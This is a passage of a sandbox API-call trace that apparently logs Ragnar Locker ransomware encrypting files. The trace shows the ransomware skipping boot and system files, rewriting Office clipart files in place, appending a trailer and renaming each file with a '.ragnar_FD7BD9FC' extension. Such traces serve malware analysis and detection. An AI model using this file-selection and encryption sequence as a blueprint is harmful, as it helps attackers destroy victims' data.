lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.304] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.304] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.304] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.304] GetProcessHeap () returned 0x580000 [0089.304] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.304] CloseHandle (hObject=0xf4) returned 1 [0089.304] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" [0089.304] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ragnar_FD7BD9FC" [0089.304] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0089.305] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.305] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_01.MID" | out: lpString1="PARNT_01.MID") returned="PARNT_01.MID" [0089.305] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned=".MID" [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="autorun.inf") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="boot.ini") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="bootfont.bin") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="bootsect.bak") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="bootmgr") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="bootmgr.efi") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="bootmgfw.efi") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="desktop.ini") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="iconcache.db") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="ntldr") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="ntuser.dat") returned 1 [0089.305] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="ntuser.dat.log") returned 1 [0089.306] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="ntuser.ini") returned 1 [0089.306] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="thumbs.db") returned -1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.306] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0089.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.306] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6491) returned 1 [0089.306] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.306] GetProcessHeap () returned 0x580000 [0089.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.307] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.308] VirtualAlloc (lpAddress=0x0, dwSize=0x195b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.308] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x195b, lpOverlapped=0x0) returned 1 [0089.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.309] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x195b, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.309] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x195b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x195b, lpOverlapped=0x0) returned 1 [0089.309] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x195b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.309] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x195b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.310] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.310] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.310] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.310] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.310] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.310] GetProcessHeap () returned 0x580000 [0089.310] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.310] CloseHandle (hObject=0xf4) returned 1 [0089.310] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" [0089.310] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ragnar_FD7BD9FC" [0089.310] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.311] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0089.311] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.311] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_02.MID" | out: lpString1="PARNT_02.MID") returned="PARNT_02.MID" [0089.311] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned=".MID" [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="autorun.inf") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="boot.ini") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootfont.bin") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootsect.bak") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootmgr") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootmgr.efi") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootmgfw.efi") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="desktop.ini") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="iconcache.db") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ntldr") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ntuser.dat") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ntuser.dat.log") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ntuser.ini") returned 1 [0089.311] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="thumbs.db") returned -1 [0089.311] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.312] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0089.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.312] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5714) returned 1 [0089.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.312] GetProcessHeap () returned 0x580000 [0089.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.312] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.314] VirtualAlloc (lpAddress=0x0, dwSize=0x1652, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.314] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1652, lpOverlapped=0x0) returned 1 [0089.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.315] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1652, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.315] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1652, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1652, lpOverlapped=0x0) returned 1 [0089.315] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1652, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.315] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1652, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.315] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.315] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.316] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.316] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.316] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.316] GetProcessHeap () returned 0x580000 [0089.316] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.316] CloseHandle (hObject=0xf4) returned 1 [0089.316] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" [0089.316] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ragnar_FD7BD9FC" [0089.316] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0089.317] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.317] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_03.MID" | out: lpString1="PARNT_03.MID") returned="PARNT_03.MID" [0089.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned=".MID" [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="autorun.inf") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="boot.ini") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootfont.bin") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootsect.bak") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootmgr") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootmgr.efi") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootmgfw.efi") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="desktop.ini") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="iconcache.db") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ntldr") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ntuser.dat") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ntuser.dat.log") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ntuser.ini") returned 1 [0089.317] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="thumbs.db") returned -1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.317] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0089.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.318] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8538) returned 1 [0089.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2151, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.318] GetProcessHeap () returned 0x580000 [0089.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.318] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.320] VirtualAlloc (lpAddress=0x0, dwSize=0x215a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.320] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x215a, lpOverlapped=0x0) returned 1 [0089.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x215a, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.321] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x215a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x215a, lpOverlapped=0x0) returned 1 [0089.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x215a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.322] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.322] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.322] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.322] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.322] GetProcessHeap () returned 0x580000 [0089.322] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 